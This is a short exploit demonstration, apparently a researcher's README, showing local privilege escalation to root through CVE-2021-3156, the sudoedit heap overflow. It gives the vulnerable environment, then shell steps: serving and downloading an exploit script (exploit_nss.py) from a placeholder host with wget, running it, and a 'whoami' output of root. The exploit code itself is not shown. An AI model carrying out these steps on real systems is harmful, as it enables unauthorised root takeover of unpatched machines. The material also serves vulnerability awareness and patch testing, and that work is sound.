
CVE-2021-3156-Exploit-Demo
📅 Date: 2025-06-08
✍️ Author: @TopskiyPavelQwertyGang
🧠 Security Researcher | Red Team Enthusiast
sudoedit (sudo)Heap overflow in sudoedit allows a local user to gain root access
when executing the sudoedit command with specially crafted parameters.
Exploitation is active for sudo versions < 1.9.5p2, including popular Ubuntu/Debian/CentOS images.
Even with ASLR enabled, the vulnerability remains exploitable.
OS : Ubuntu 20.04.3 LTS
glibc : 2.31 (tcache ON)
sudo : 1.8.31 (уязвим)
ASLR : 2 (включён)
glibc and sudo:ldd --version
sudo --version
python3 -m http.server 80
wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py
$ python3 exploit_nss.py
# whoami
root
Exploitation of CVE-2021-3156 remains possible even with active ASLR, if glibc ≥ 2.26 and sudo is a vulnerable version.
The most stable exploit turned out to be exploit_nss.py, which triggers on the first attempt with a correct NSS configuration.
🧨 System under control.